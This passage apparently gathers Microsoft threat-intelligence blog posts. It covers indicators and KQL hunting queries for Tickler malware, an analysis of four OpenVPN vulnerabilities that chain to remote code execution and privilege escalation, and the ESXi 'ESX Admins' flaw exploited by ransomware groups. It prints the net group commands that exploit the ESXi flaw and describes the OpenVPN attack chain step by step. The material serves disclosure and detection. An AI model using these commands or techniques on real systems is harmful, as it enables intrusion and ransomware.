    | where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList)
    | project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection"
),
(
    W3CIISLog
    | where csHost has_any(domainList) or csReferer has_any(domainList)
    | project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog"
),
(
    EmailUrlInfo
    | where UrlDomain has_any(domainList)
    | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
    UrlClickEvents
    | where Url has_any(domainList)
    | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc

Malicious file activity

The following query will surface events involving malicious files related to this activity. Run query

let fileHashes = dynamic(["711d3deccc22f5acfd3a41b8c8defb111db0f2b474febdc7f20a468f67db0350", "fb70ff49411ce04951895977acfc06fa468e4aa504676dedeb40ba5cea76f37f", "5df4269998ed79fbc997766303759768ce89ff1412550b35ff32e85db3c1f57b", "ccb617cc7418a3b22179e00d21db26754666979b4c4f34c7fda8c0082d08cec4", "7eb2e9e8cd450fc353323fd2e8b84fbbdfe061a8441fd71750250752c577d198"]);
union
(
    DeviceFileEvents
    | where SHA256 in (fileHashes)
    | project Timestamp, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
    DeviceEvents
    | where SHA256 in (fileHashes)
    | project Timestamp, FileHash = SHA256, SourceTable = "DeviceEvents"
),
(
    DeviceImageLoadEvents
    | where SHA256 in (fileHashes)
    | project Timestamp, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
    DeviceProcessEvents
    | where SHA256 in (fileHashes)
    | project Timestamp, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

• Signin Password Spray
• New Location Azure AD Sign Ins
• Enumeration of users & groups for lateral movement
• SMB shares Discovery
• Anomaly in SMB Traffic
• AnyDesk Net Connection
• AnyDesk – File Signature
• AnyDesk – Create Process
• DCSync Attack Detection

Indicators of compromise

Domains

• subreviews.azurewebsites[.]net 
• satellite2.azurewebsites[.]net 
• nodetestservers.azurewebsites[.]net 
• satellitegardens.azurewebsites[.]net 
• softwareservicesupport.azurewebsites[.]net
• getservicessuports.azurewebsites[.]net
• getservicessupports.azurewebsites[.]net 
• getsupportsservices.azurewebsites[.]net 
• satellitespecialists.azurewebsites[.]net
• satservicesdev.azurewebsites[.]net
• servicessupports.azurewebsites[.]net
• websupportprotection.azurewebsites[.]net 
• supportsoftwarecenter.azurewebsites[.]net
• centersoftwaresupports.azurewebsites[.]net
• softwareservicesupports.azurewebsites[.]net
• getsdervicessupoortss.azurewebsites[.]net

Tickler samples and related indicators

• YAHSAT NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20240421.pdf.exe (SHA-256:  7eb2e9e8cd450fc353323fd2e8b84fbbdfe061a8441fd71750250752c577d198)
• Sold.dll (SHA-256: ccb617cc7418a3b22179e00d21db26754666979b4c4f34c7fda8c0082d08cec4)
• Batch script (SHA-256: 5df4269998ed79fbc997766303759768ce89ff1412550b35ff32e85db3c1f57b)
• Malicious DLL (SHA-256: fb70ff49411ce04951895977acfc06fa468e4aa504676dedeb40ba5cea76f37f)
• Malicious DLL (SHA-256: 711d3deccc22f5acfd3a41b8c8defb111db0f2b474febdc7f20a468f67db0350)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Peach Sandstorm deploys new custom Tickler malware in long-running intelligence gathering operations appeared first on Microsoft Security Blog.

OpenVPN is widely used by thousands of companies spanning various industries across major platforms such as Windows, iOS, macOS, Android, and BSD. As such, exploitation of the discovered vulnerabilities, which affect all versions of OpenVPN prior to version 2.6.10 (and 2.5.10), could put endpoints and enterprises at significant risk of attack.

We reported the discovery to OpenVPN through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in March 2024 and worked closely with OpenVPN to ensure that the vulnerabilities are patched. Information on the security fixes released by OpenVPN to address these vulnerabilities can be found here: OpenVPN 2.6.10. We strongly urge OpenVPN users to apply the latest security updates as soon as possible. We also thank OpenVPN for their collaboration and recognizing the urgency in addressing these vulnerabilities.

Below is a list of the discovered vulnerabilities discussed in this blog:

In this blog post, we detail our analysis of the discovered vulnerabilities and the impact of exploitation. In addition to patching, we provide guidance to mitigate and detect threats attempting to exploit these vulnerabilities. This research emphasizes the need for responsible disclosure and collaboration among the security community to defend devices across platforms and build better protection for all, spanning the entire user-device ecosystem. The discovery of these vulnerabilities further highlights the critical importance of ensuring the security of enterprise and endpoint systems and underscores the need for continuous monitoring and protection of these environments.

What is OpenVPN?

OpenVPN is a virtual private network (VPN) system that creates a private and secure point-to-point or site-to-site connection between networks. The OpenVPN open-source project is widely popular across the world, including the United States, India, France, Brazil, the United Kingdom, and Germany, as well as industries spanning the information technology, financial services, telecommunications, and computer software sectors. This project supports different major platforms and is integrated into millions of devices globally.

OpenVPN is also the name of the tunneling protocol it uses, which employs the Secure Socket Layer (SSL) encryption protocol to ensure that data shared over the internet remains private, using AES-256 encryption. Since the source code is available for audit, vulnerabilities can be easily identified and fixed.

OpenVPN analysis

We discovered the vulnerabilities while examining the OpenVPN open-source project to enhance enterprise security standards. During this research, we checked two other popular VPN solutions and found that at the time they were impacted by a vulnerability (CVE-2024-1305). Following this discovery, we started hunting for and uncovered additional vulnerable drivers with the same issue and decided to investigate open-source VPN projects. Upon confirming that the same vulnerability was located in the OpenVPN open-source repository, our research then focused on examining the architecture and security model of the OpenVPN project for Windows systems.

OpenVPN architecture

OpenVPN server client architecture

OpenVPN is a sophisticated VPN system meticulously engineered to establish secure point-to-point or site-to-site connections. It supports both routed and bridged configurations, as well as remote access capabilities, making it a versatile choice for various networking needs. OpenVPN comprises both client and server applications, ensuring a comprehensive solution for secure communication.

With OpenVPN, peers can authenticate each other through multiple methods, including pre-shared secret keys, certificates, or username/password combinations. In multi-client server environments, the server can generate and issue an individual authentication certificate for each client, leveraging robust digital signatures and a trusted certificate authority. This ensures an elevated level of security and integrity in the authentication process, enhancing the overall reliability of the VPN connection. 

Client-side architecture

The client-side architecture is where we discovered the additional three vulnerabilities (CVE-2024-27459, CVE-2024-24974, and CVE-2024-27903):

OpenVPN’s client architecture can be summarized in the following simplified diagram:

openvpnserv.exe and openvpn.exe

The system service launches elevated commands on behalf of the user, handling tasks such as adding or deleting DNS configurations, IP addresses, and routes, and enabling Dynamic Host Configuration Protocol (DHCP). These commands are received from the openvpn.exe process through a named pipe created for these two entities, such as “openvpn/service_XXX” where XXX is the thread ID (TID) that is being passed to the newly created process as a command line argument.

The launched commands arrive in the form of a binary structure that contains the relevant information for the specific command, with the structure being validated and only then launching the appropriate command. The below figure displays an example of the structure that contains information for adding/deleting DNS configuration:

Additionally, openvpnserv.exe serves as the management unit, spawning openvpn.exe processes upon requests from different users on the machine. This can be done automatically using the OpenVPN GUI or by sending specifically crafted requests. Communication for this process occurs through a second named pipe, such as “openvpn/service”.

Openvpn.exe is the user mode process being spawned on behalf of the client. When openvpn.exe starts, it receives a path for a configuration file (as a command line argument). The configuration file that’s provided holds different information.

A lot of fields can be managed in configuration files, such as:

1. Tunnel options
2. Server mode options
3. Client mode options

Plugin mechanism in openvpn.exe

Another mechanism of interest for us is the plugin mechanism in openvpn.exe, which can extend the functionality to add additional logic, such as authentication plugins to bring authentication against Lightweight Directory Access Protocol (LDAP) or Radius or other Pluggable Authentication Module
(PAM) backends. Some of the existing plugins are:

1. Radiusplugin – Radius authentication support for open OpenVPN.
2. Eurephia – Authentication and access control plugin for OpenVPN.
3. Openvpn_defer_auth – OpenVPN plugin to perform deferred authentication requests.

The plugin mechanism fits into the earlier diagram, as shown in Figure 2.

The plugin is loaded as a directive in the configuration file, which looks like:

Furthermore, the number of callbacks defined in the plugin launch on behalf of the loading process (openvpn.exe), such as:

1. openvpn_plugin_func_v1 – This function is called by OpenVPN each time the OpenVPN reaches a point where plugin calls should happen.
2. openvpn_plugin_{open, func}_v3() – Defines the version of the v3 plugin argument.

OpenVPN security model

As previously mentioned, we discovered four vulnerabilities on the client side of OpenVPN’s architecture.

As described before, openvpnserv.exe (SYSTEM service) spawns the openvpn.exe process as a result of the request from the user. Furthermore, the spawned process runs in the context of the user who requested to create the new process, which is achieved through named pipe impersonation, as displayed in the below image:

The ImpersonateNamedPipeClient function impersonates a named pipe client application.

Furthermore, to prevent unwanted behavior, specific EXPLICIT_ACCESS must be granted for any new process:

This explicit access, in addition to the earlier described “elevated commands” launched by openvpnserv.exe on request from the openvpn.exe process, and other comprehensive inspection of the passed arguments  ensure that malicious behavior cannot be launched in the name of the impersonated user.

Vulnerability analysis

CVE-2024-1305    

We identified a vulnerability in the “tap-windows6” project that involves developing the Terminal Access Point (TAP) adapter used by OpenVPN. In the project’s src folder, the device.c file contains the code for the TAP device object and its initialization.

In the device.c file, the CreateTapDevice method initializes a dispatch table object with callbacks for methods managing various Input/Output Controls (IOCTLs) for the device. One of these methods is TapDeviceWrite, which handles the write IOCTL.

The TapDeviceWrite method performs several operations and eventually calls TapSharedSendPacket. This method, in turn, calls NdisAllocateNetBufferAndNetBufferLists twice. In one scenario, it calls this function with the fullLength parameter, defined as follows:

Both PacketLength and PrefixLength are parameters passed from the TapDeviceWrite call and, therefore, attacker controlled. If these values are large enough, their sum (fullLength) can overflow (a 32-bit unsigned integer). This overflow results in the allocation of a smaller-than-expected memory size, which subsequently causes a memory overflow issue.

CVE-2024-27459  

The second vulnerability that we discovered resided in the communication mechanism between the openvpn.exe process and the openvpnserv.exe service. As described earlier, both of which communicate through a named pipe:

The openvpnserv.exe service will read the message size in an infinite loop from the openvpn.exe process and then handle the message received by calling the HandleMessage method. The HandleMessage method reads the size provided by the infinite loop and casts the read bytes into the relevant type accordingly:

This communication mechanism presents an issue as reading the “user” provided number of bytes on to an “n bytes” long structure located on the stack will produce a stack overflow vulnerability.

CVE-2024-24974  

The third vulnerability involves unprivileged access to an operating system resource. The openvpnserv.exe service spawns a new openvpn.exe process based on user requests received through the “\\openvpn\\service” named pipe. This vulnerability allows remote access to the named service pipe, enabling an attacker to remotely interact with and launch operations on it.

CVE-2024-27903  

Lastly, we identified a vulnerability in OpenVPN’s plugin mechanism that permits plugins to be loaded from various paths on an endpoint device. This behavior can be exploited by attackers to load harmful plugins from these different paths.

Exploiting and chaining the vulnerabilities

All the identified vulnerabilities can be exploited once an attacker gains access to a user’s OpenVPN credentials, which could be accomplished using credential theft techniques, such as purchasing stolen credentials on the dark web, using info-stealing malware, or sniffing network traffic to capture NTLMv2 hashes and then using cracking tools like HashCat or John the Ripper to decode them. The discovered vulnerabilities could then be combined to achieve different exploitation results, or chained together to form a sophisticated attack chain, as detailed in the below sections.

RCE exploitation

We first explored how an attacker could achieve remote code execution (RCE) exploitation using CVE-2024-24974 and CVE-2024-27903.

To successfully exploit these vulnerabilities and achieve RCE, an attacker must first obtain an OpenVPN user’s credentials. The attacker’s device must then launch the NET USE command with the stolen credentials to remotely access the operating system resources and grant the attacker access to the named pipes objects devices.

Next, the attacker can send a “connect” request to the “\\openvpn\\service” named pipe to launch a new instance of openvpn.exe on its behalf.

In the request, a path to a configuration file (\\\\DESKTOP-4P6938I\\share\\OpenVPN\\config\\sample.ovpn) is specified that’s located on the attacker-controlled device. A log path is also provided into which the loaded plugin will write its logs (“–log \\\\\{TARGET_MACHINE_PLACEHOLDER}\\share\\OpenVPN\\log\\plugin_log.txt\).

The provided configuration has instructions to load malicious plugin, as such:

After successful exploitation, the attacker can read the log provided on the attacker-controlled device.

LPE exploitation

Next, we investigated how an attacker could achieve local privilege execution (LPE) using CVE-2024-27459 and CVE-2024-27903. To successfully achieve an LPE exploit in this context, an attacker must load a malicious plugin into the normal launching process of openvpn.exe by using a malicious configuration file.

First, the attacker will connect to a local device “\\openvpn\\service” named pipe with a command that instructs openvpnserv.exe to launch openvpn.exe based on the attacker-provided malicious configuration.

The malicious configuration will include a line like the below example:

For the malicious plugin to successfully communicate with openvpnserv.exe, it must hijack the number of the handle used by openvpn.exe to communicate with the inner named pipe connecting the openvpv.exe process and the openvpnserv.exe service. This can be achieved, for instance, by parsing command line arguments, as displayed below:

This works because when the openvpn.exe process spawns, it’s being passed the TID (as a command line argument) that the inner named pipe (which is being used for communication between this specific OpenVPN instance and the openvpnserv.exe service) will have. For instance, if the inner named pipe created is “\\openvpn\\service_1234” then openvpn.exe will be launched with an extra argument of 1234.

Next, attackers can exploit the stack overflow vulnerability by sending data bigger than the MSG structure. It is important to note that there are stack protection mechanisms in place, called stack canaries, which make exploitation much more challenging. Thus, when triggering the overflow:

After the crash of openvpnserv.exe, the attacker has a slot of time in which they can reclaim the named pipe “\\openvpn\\service”.

If successful, the attacker then poses as the server client side of the named pipe “\\openvpn\\service”. From that moment on, every attempt to connect to the “\\openvpn\\service” named pipe will result in a connection to the attacker. If a privileged enough user, such as a SYSTEM or Administrator user, is connected to the named pipe, the attacker can impersonate that user:

The attacker can then start an elevated process on the user’s behalf, thus achieving LPE.

Chaining it all together

As our research demonstrated, an attacker could leverage at least three of the four discovered vulnerabilities to create exploits to achieve RCE and LPE, which could then be chained together to create a powerful attack chain.

A number of adjustments are needed for the full attack chain to be exploited as presented in this blog post, mainly the malicious payload that crashes openvpnserv.exe and the malicious payload that actually behaves as openvpnserv.exe after openvpnserv.exe is crashed all have to be loaded with the malicious plugin. After successfully achieving LPE, attackers will use different techniques, such as Bring Your Own Vulnerable Driver (BYOVD) or exploiting known vulnerabilities, to achieve a stronger grasp of the endpoint. Through these techniques, the attacker can, for instance, disable Protect Process Light (PPL) for a critical process such as Microsoft Defender or bypass and meddle with other critical processes in the system. These actions enable attackers to bypass security products and manipulate the system’s core functions, further entrenching their control and avoiding detection.

Critical importance of endpoint security in private and enterprise sectors

With OpenVPN being widely used across various vendors, industries, and fields, the presented vulnerabilities may impact numerous sectors, device types, and verticals. Exploiting these vulnerabilities requires user authentication, a deep understanding of OpenVPN’s inner workings, and intermediate knowledge of the operating system. However, a successful attack could significantly impact endpoints in both the private and enterprise sectors. Attackers could launch a comprehensive attack chain on a device using a vulnerable version of OpenVPN, achieving full control over the target endpoint. This control could enable them to steal sensitive data, tamper with it, or even wipe and destroy critical information, causing substantial harm to both private and enterprise environments.

The discovery of these vulnerabilities underscores the importance of responsible disclosure to secure enterprise and endpoint systems, in addition to the collective efforts of the security community to protect devices across various platforms and establish stronger safeguards for everyone. We would like to again thank OpenVPN for their partnership and swift action in addressing these vulnerabilities.

Mitigation and protection guidance

OpenVPN versions prior to 2.5.10 and 2.6.10 are vulnerable to discussed vulnerabilities.

It is recommended to first identify if a vulnerable version is installed and, if so, immediately apply the relevant patch found here: OpenVPN 2.6.10.

Additionally, follow the below recommendations to further mitigate potential exploitation risks affiliated with the discovered vulnerabilities:

• Apply patches to affected devices in your network. Check the OpenVPN website for the latest patches.
• Make sure OpenVPN clients are disconnected from the internet and segmented.
• Limit access to OpenVPN clients to authorized users only. 
• Due to the nature of the CVEs, which still require a username and password, prioritizing patching is difficult. Reduce risk by ensuring proper segmentation, requiring strong usernames and passwords, and reducing the number of users that have writing authentication.

Microsoft Defender XDR detections

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alert can indicate associated threat activity:

• Suspicious OpenVPN named pipe activity

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2024-27459
• CVE-2024-24974
• CVE-2024-27903
• CVE-2024-1305

Microsoft Defender for IoT

Microsoft Defender for IoT raises alerts for the following vulnerabilities, exploits, and behavior associated with this threat:

• Suspicion of Malicious Activity

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

This query identifies connection to OpenVPN’s named pipe from remote host:

DeviceEvents  
| where ActionType == "NamedPipeEvent"
| extend JsonAdditionalFields=parse_json(AdditionalFields)
| extend PipeName=JsonAdditionalFields["PipeName"]
| where PipeName == "\\Device\\NamedPipe\\openvpn\\service" and isnotempty( RemoteIP) 

This query identifies image load into OpenVPN’s process from share folder:

DeviceImageLoadEvents 
|where InitiatingProcessFileName == "openvpn.exe" and FolderPath startswith "\\\\"

This query identifies process connect to OpenVPN’s named pipe as server which it is not openvpnserv.exe:

DeviceEvents  
| where ActionType == "NamedPipeEvent"
| extend JsonAdditionalFields=parse_json(AdditionalFields)
| extend PipeName=JsonAdditionalFields["PipeName"], NamedPipeEnd=JsonAdditionalFields["NamedPipeEnd"]
|where PipeName == "\\Device\\NamedPipe\\openvpn\\service" and NamedPipeEnd == "Server" and InitiatingProcessFileName != "openvpnserv.exe"

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

List of devices with OpenVPN vulnerabilities

DeviceTvmSoftwareVulnerabilities
| where OSPlatform contains "Windows"
| where CveId in ("CVE-2024-27459","CVE-2024-24974","CVE-2024-27903","CVE-2024-1305") 
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Named pipe creation activity of OpenVPN

let PipeNames = pack_array('\\openvpn/service','\\openvpn/service_','openvpn','openvpn/service','\\openvpn\\service_');
DeviceEvents
| where TimeGenerated > ago(30d)
| where ActionType == "NamedPipeEvent"
| where ProcessCommandLine contains "openvpn.exe" or InitiatingProcessCommandLine contains "openvpn.exe"
| extend Fields=parse_json(AdditionalFields)
| where Fields.FileOperation == "File created"
| where Fields.PipeName has_any (PipeNames)
| project TimeGenerated,ActionType,DeviceName,InitiatingProcessAccountDomain,InitiatingProcessAccountName,InitiatingProcessFolderPath,
InitiatingProcessCommandLine,ProcessCommandLine,Fields.FileOperation,Fields.PipeName

Vladimir Tokarev

Microsoft Threat Intelligence Community

References

• https://blackhat.com/us-24/briefings/schedule/#ovpnx–zero-days-leading-to-rce-lpe-and-kce-via-byovd-affecting-millions-of-openvpn-endpoints-across-the-globe-38900
• https://enlyft.com/tech/products/openvpn
• https://github.com/OpenVPN/openvpn/blob/v2.6.10/Changes.rst
• https://github.com/OpenVPN/openvpn/blob/v2.5.10/Changes.rst
• https://forums-new.openvpn.net/forum/announcements/69-release-openvpn-version-2-6-10
• https://openvpn.net/community-downloads/
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27459
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24974
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27903
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1305
• https://openvpn.net/as-docs/site-to-site-routing.html#site-to-site-routing
• https://openvpn.net/community-resources/reference-manual-for-openvpn-2-4/
• https://github.com/OpenVPN/openvpn/blob/master/include/openvpn-plugin.h.in
• https://www.lifewire.com/net-use-command-2618096
• https://wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries
• https://community.openvpn.net/openvpn/wiki/Downloads
• https://www.cisa.gov/secure-our-world/use-strong-passwords

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Chained for attack: OpenVPN vulnerabilities discovered leading to RCE and LPE appeared first on Microsoft Security Blog.

The vulnerability, identified as CVE-2024-37085, involves a domain group whose members are granted full administrative access to the ESXi hypervisor by default without proper validation. Microsoft disclosed the findings to VMware through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR), and VMWare released a security update. Microsoft recommends ESXi server administrators to apply the updates released by VMware to protect their servers from related attacks, and to follow the mitigation and protection guidance we provide in this blog post. We thank VMWare for their collaboration in addressing this issue.

This blog post presents analysis of the CVE-2024-37085, as well as details of an attack that was observed by Microsoft to exploit the vulnerability. We’re sharing this research to emphasize the importance of collaboration among researchers, vendors, and the security community to continuously advance defenses for the larger ecosystem. As part of Microsoft’s commitment to improve security for all, we will continue to share intelligence and work with the security community to help protect users and organizations across platforms.

CVE-2024-37085 vulnerability analysis

Microsoft security researchers identified a new post-compromise technique utilized by ransomware operators like Storm-0506, Storm-1175, Octo Tempest, and Manatee Tempest in numerous attacks. In several cases, the use of this technique has led to Akira and Black Basta ransomware deployments. The technique includes running the following commands, which results in the creation of a group named “ESX Admins” in the domain and adding a user to it:

net group “ESX Admins” /domain /add

net group “ESX Admins” username /domain /add

While investigating the attacks and the described behavior, Microsoft researchers discovered that the threat actors’ purpose for using this command was to utilize a vulnerability in domain-joined ESXi hypervisors that allows the threat actor to elevate their privileges to full administrative access on the ESXi hypervisor. This finding was reported as part of a vulnerability disclosure to VMware earlier this year.

Further analysis of the vulnerability revealed that VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named “ESX Admins” to have full administrative access by default. This group is not a built-in group in Active Directory and does not exist by default. ESXi hypervisors do not validate that such a group exists when the server is joined to a domain and still treats any members of a group with this name with full administrative access, even if the group did not originally exist. Additionally, the membership in the group is determined by name and not by security identifier (SID).

Microsoft researchers identified three methods for exploiting this vulnerability:

1. Adding the “ESX Admins” group to the domain and adding a user to it – This method is actively exploited in the wild by the abovementioned threat actors. In this method, if the “ESX Admins” group doesn’t exist, any domain user with the ability to create a group can escalate privileges to full administrative access to domain-joined ESXi hypervisors by creating such a group, and then adding themselves, or other users in their control, to the group.
2. Renaming any group in the domain to “ESX Admins” and adding a user to the group or use an existing group member – This method is similar to the first, but in this case the threat actor needs a user that has the capability to rename some arbitrary groups and rename one of them to “ESX Admins”. The threat actor can then add a user or use a user that already exists in the group, to escalate privileges to full administrative access. This method was not observed in the wild by Microsoft.
3. ESXi hypervisor privileges refresh – Even if the network administrator assigns any other group in the domain to be the management group for the ESXi hypervisor, the full administrative privileges to members of the “ESX Admins” group are not immediately removed and threat actors still could abuse it. This method was not observed in the wild by Microsoft.

Successful exploitation leads to full administrative access to the ESXi hypervisors, allowing threat actors to encrypt the file system of the hypervisor, which could affect the ability of the hosted servers to run and function. It also allows the threat actor to access hosted VMs and possibly to exfiltrate data or move laterally within the network.

Ransomware operators targeting ESXi hypervisors

Over the last year, we have seen ransomware actors targeting ESXi hypervisors to facilitate mass encryption impact in few clicks, demonstrating that ransomware operators are constantly innovating their attack techniques to increase impact on the organizations they target.

ESXi is a popular product in many corporate networks, and in recent years, we have observed ESXi hypervisors become a favored target for threat actors. These hypervisors could be convenient targets if ransomware operators want to stay under the SOC’s radar because of the following factors:

1. Many security products have limited visibility and protection for an ESXi hypervisor.
2. Encrypting an ESXi hypervisor file system allows one-click mass encryption, as hosted VMs are impacted. This could provide ransomware operators with more time and complexity in lateral movement and credential theft on each device they access.

Therefore, many ransomware threat actors like Storm-0506, Storm-1175, Octo Tempest, Manatee Tempest, and others support or sell ESXi encryptors like Akira, Black Basta, Babuk, Lockbit, and Kuiper (Figure 1). The number of Microsoft Incident Response (Microsoft IR) engagements that involved the targeting and impacting ESXi hypervisors have more than doubled in the last three years.

Storm-0506 Black Basta ransomware deployment

Earlier this year, an engineering firm in North America was affected by a Black Basta ransomware deployment by Storm-0506. During this attack, the threat actor used the CVE-2024-37085 vulnerability to gain elevated privileges to the ESXi hypervisors within the organization.

The threat actor gained initial access to the organization via Qakbot infection, followed by the exploitation of a Windows CLFS vulnerability (CVE-2023-28252) to elevate their privileges on affected devices. The threat actor then used Cobalt Strike and Pypykatz (a Python version of Mimikatz) to steal the credentials of two domain administrators and to move laterally to four domain controllers.

On the compromised domain controllers, the threat actor installed persistence mechanisms using custom tools and a SystemBC implant. The actor was also observed attempting to brute force Remote Desktop Protocol (RDP) connections to multiple devices as another method for lateral movement, and then again installing Cobalt Strike and SystemBC. The threat actor then tried to tamper with Microsoft Defender Antivirus using various tools to avoid detection.

Microsoft observed that the threat actor created the “ESX Admins” group in the domain and added a new user account to it, following these actions, Microsoft observed that this attack resulted in encrypting of the ESXi file system and losing functionality of the hosted virtual machines on the ESXi hypervisor.   The actor was also observed to use PsExec to encrypt devices that are not hosted on the ESXi hypervisor. Microsoft Defender Antivirus and automatic attack disruption in Microsoft Defender for Endpoint were able to stop these encryption attempts in devices that had the unified agent for Defender for Endpoint installed.

Mitigation and protection guidance

Microsoft recommends organizations that use domain-joined ESXi hypervisors to apply the security update released by VMware to address CVE-2024-37085. The following guidelines will also help organizations protect their network from attacks:

• Install software updates – Make sure to install the latest security updates released by VMware on all domain-joined ESXi hypervisors. If installing software updates is not possible, you can use the following recommendations to reduce the risk:
  • Validate the group “ESX Admins” exists in the domain and is hardened.
  • Manually deny access by this group by changing settings in the ESXi hypervisor itself. If full admin access for the Active Directory ESX admins group is not desired, you can disable this behavior using the advanced host setting: ‘Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd’.
  • Change the admin group to a different group in the ESXi hypervisor.
  • Add custom detections in XDR/SIEM for the new group name.  
  • Configure sending ESXi logs to a SIEM system and monitor suspicious full administrative access.
• Credential hygiene – To utilize the different vulnerability methods, threat actors require control of a highly privileged user in the organization. Therefore, our recommendation is making sure to protect your highly privileged accounts in the organization, especially those that can manage other domain groups:
  • Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, always.
  • Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Isolate privileged accounts from productivity accounts to protect administrative access to the environment. Refer to this article to understand best practices.
• Improve critical assets posture – Identify your critical assets in the network, such as  ESXi hypervisors and vCenters (a centralized platform for controlling VMware vSphere environments), and make sure to get them protected with latest security updates, proper monitoring procedures and backup and recovery plans. More information can be found in this article.
• Identify vulnerable assets – Use Microsoft Defender Vulnerability Management to reduce risk with continuous vulnerability assessment of ESXi hypervisor out of the box.

Microsoft Defender XDR detections

Microsoft Defender for Endpoint             

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Suspicious modifications to ESX Admins group

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• New group added suspiciously
• Suspicious Windows account manipulation
• Compromised account conducting hands-on-keyboard attack

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate associated threat activity:

• Suspicious creation of ESX group

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft Defender Threat Intelligence to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Storm-0506
• Storm-1175
• Octo Tempest 
• Manatee Tempest
• Akira
• Black Basta

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their networks

This query identifies ESXi hypervisors in the organization:

DeviceInfo
| where OSDistribution =~ "ESXi"
| summarize arg_max(Timestamp, *) by DeviceId

This query identifies ESX Admins group changes in the Active directory:

IdentityDirectoryEvents
| where Timestamp >= ago(30d)
| where AdditionalFields has ('esx admins')

The following queries are for assessing the already discovered ESXi with the Microsoft Defender Vulnerability Management information:

DeviceInfo
| where OSDistribution =~ "ESXi"
| summarize arg_max(Timestamp, *) by DeviceId
| join kind=inner (DeviceTvmSoftwareVulnerabilities) on DeviceId
DeviceInfo
| where OSDistribution =~ "ESXi"
| summarize arg_max(Timestamp, *) by DeviceId
| join kind=inner (DeviceTvmSecureConfigurationAssessment) on DeviceId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Microsoft Sentinel also has a range of hunting queries available in Sentinel GitHub repo or as part of Sentinel solutions that customers can use to detect the activity detailed in this blog in addition to Microsoft Defender detections. These hunting queries include the following:

Qakbot:

• Qakbot hunting queries

Cobalt Strike:

• Cobalt Strike DNS Beaconing
